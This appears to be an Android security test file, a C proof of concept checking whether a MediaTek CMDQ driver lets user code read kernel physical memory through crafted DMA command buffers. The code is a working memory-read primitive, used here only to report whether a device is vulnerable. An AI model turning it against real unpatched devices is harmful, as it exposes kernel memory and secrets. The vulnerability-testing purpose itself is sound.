1 /**
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <ctype.h>
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <stdbool.h>
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <string.h>
24 #include <sys/ioctl.h>
25 #include <sys/stat.h>
26 #include <sys/types.h>
27 #include <unistd.h>
28 
29 #include "../includes/common.h"
30 
31 static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
32                                "/dev/mtk_mdp"};
33 
34 #define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
35 #define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
36 // This is "most" of the IOCTL code, though the size field is left out as it
37 // will be ORed in later when the specific value for this device has been
38 // identified.
39 #define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
40 
41 struct cmdqWriteAddressStruct {
42   uint32_t count;
43   uint32_t address;
44 };
45 
46 struct cmdqReadRegStruct {
47   uint32_t count;
48   uint64_t addresses;
49 };
50 
51 struct cmdqRegValueStruct {
52   uint32_t count;
53   uint64_t values;
54 };
55 
56 struct cmdqReadAddressStruct {
57   uint32_t count;
58   uint64_t addresses;
59   uint64_t values;
60 };
61 
62 struct cmdqCommandStruct {
63   uint32_t value1;
64   uint32_t value2;
65   uint64_t value3;
66   uint64_t buffer;
67   uint32_t buffer_size;
68   struct cmdqReadRegStruct reg_request;
69   struct cmdqRegValueStruct reg_value;
70   struct cmdqReadAddressStruct read_address;
71   uint8_t padding[0x2f0 - 0x58];
72 };
73 
74 typedef enum {
75   OperationSuccess,
76   OperationFailed,
77   OperationError,
78 } OperationResult;
79 
80 #define SET_VALUE(x)                                                           \
81   instructions[command.buffer_size / 8] = (x);                                 \
82   command.buffer_size += 8;
83 
84 // This function identifies what the IOCTL command code should be
85 // for EXEC_COMMAND, given that it varies depending on the structure size.
work_out_ioctl_code(int fd,int * ioctl_code)86 OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
87   uint64_t instructions[0x100];
88   struct cmdqCommandStruct command;
89 
90   memset(instructions, 0, sizeof(instructions));
91   memset(&command, 0, sizeof(command));
92 
93   command.buffer = (uint64_t)&instructions;
94 
95   // CMDQ_CODE_WFE
96   SET_VALUE(0x2000000080010000);
97   // CMDQ_CODE_EOC
98   SET_VALUE(0x4000000000000001);
99   // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
100   SET_VALUE(0x1000000000000008);
101 
102   for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
103     int ioctl_result =
104         ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
105 
106     if ((-1 != ioctl_result) || (errno != ENOTTY)) {
107       *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
108       return OperationSuccess;
109     }
110   }
111 
112   // Unable to identify the particular IOCTL code for this device.
113   return OperationError;
114 }
115 
perform_pa_read(int fd,int ioctl_code,uint32_t kernel_buffer,uint64_t address,unsigned char * buffer,size_t size)116 OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
117                                 uint64_t address, unsigned char *buffer,
118                                 size_t size) {
119   OperationResult result = OperationError;
120   uint64_t *instructions = NULL;
121   uint32_t *addresses = NULL;
122   struct cmdqCommandStruct command;
123   size_t num_words = size / 4;
124 
125   if (size % 4) {
126     goto exit;
127   }
128 
129   // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
130   // read, plus another 4 for prologue/epilogue.
131   instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
132   if (!instructions) {
133     goto exit;
134   }
135   // Another buffer to tell the driver where to read back from.
136   addresses = malloc(sizeof(uint32_t) * num_words);
137   if (!addresses) {
138     goto exit;
139   }
140   memset(&command, 0, sizeof(command));
141   command.buffer = (uint64_t)instructions;
142   command.read_address.count = size;
143   command.read_address.addresses = (uint64_t)addresses;
144   command.read_address.values = (uint64_t)buffer;
145 
146   // CMDQ_CODE_WFE
147   SET_VALUE(0x2000000080010000);
148 
149   for (size_t ii = 0; ii < num_words; ii++) {
150     addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
151 
152     // CMDQ_CODE_MOVE - put DMA address into register
153     SET_VALUE(0x0297000000000000 | addresses[ii]);
154     // CMDQ_CODE_WRITE - write PA into DMA address
155     SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
156     // CMDQ_CODE_READ - read PA into register from DMA address
157     SET_VALUE(0x01d7000000000005);
158     // CMDQ_CODE_READ - read from PA into register
159     SET_VALUE(0x01c5000000000005);
160     // CMDQ_CODE_WRITE - write value into DMA address
161     SET_VALUE(0x04d7000000000005);
162   }
163 
164   // CMDQ_CODE_WFE
165   SET_VALUE(0x2000000080010000);
166   // CMDQ_CODE_EOC
167   SET_VALUE(0x4000000000000001);
168   // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
169   SET_VALUE(0x1000000000000008);
170 
171   switch (ioctl(fd, ioctl_code, &command)) {
172   case -1:
173     if (errno == EFAULT) {
174       // Command buffer rejected, the driver is patched.
175       result = OperationFailed;
176     }
177     // Something is wrong with the command buffer.  This may be a device
178     // type that has not been encountered during testing.
179     break;
180   case 0:
181     // Driver accepted the command buffer and did something with it.
182     result = OperationSuccess;
183     break;
184   }
185 
186 exit:
187   if (addresses) {
188     free(addresses);
189   }
190   if (instructions) {
191     free(instructions);
192   }
193   return result;
194 }
195 
main()196 int main() {
197   int exit_code = EXIT_FAILURE;
198   int fd = -1;
199   unsigned char buffer[0x1000];
200   size_t read_size = 0x100;
201   struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
202   int ioctl_code = 0;
203   bool command_accepted = false;
204   // Mediatek have given these as possible kernel base addresses for different
205   // devices.
206   unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
207   unsigned long pa_length = 0x10000;
208 
209   for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
210        ii++) {
211     fd = open(device_names[ii], O_RDONLY);
212     if (-1 == fd) {
213       // If we can't access the driver, then it's not vulnerable.
214       if (errno == EACCES) {
215         exit_code = EXIT_SUCCESS;
216         goto exit;
217       }
218     } else {
219       break;
220     }
221   }
222   if (-1 == fd) {
223     goto exit;
224   }
225 
226   if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
227     goto exit;
228   }
229 
230   if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
231     goto exit;
232   }
233 
234   for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
235        ii++) {
236     for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
237          pa += 0x1000) {
238       memset(buffer, 0, read_size);
239 
240       switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
241                               read_size)) {
242       case OperationSuccess:
243         command_accepted = true;
244         for (size_t ii = 0; ii < read_size; ii++) {
245           if (buffer[ii] != 0) {
246             exit_code = EXIT_VULNERABLE;
247             goto exit;
248           }
249         }
250         break;
251       case OperationFailed:
252         exit_code = EXIT_SUCCESS;
253         break;
254       case OperationError:
255         break;
256       }
257     }
258   }
259 
260   // If the driver accepted commands, but we didn't manage to read any data,
261   // then we failed to demonstrate a vulnerability.
262   if (command_accepted) {
263     exit_code = EXIT_SUCCESS;
264   }
265 
266 exit:
267   if (-1 != fd) {
268     if (kernel_buffer.address != 0) {
269       (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
270     }
271     (void)close(fd);
272   }
273 
274   return exit_code;
275 }
276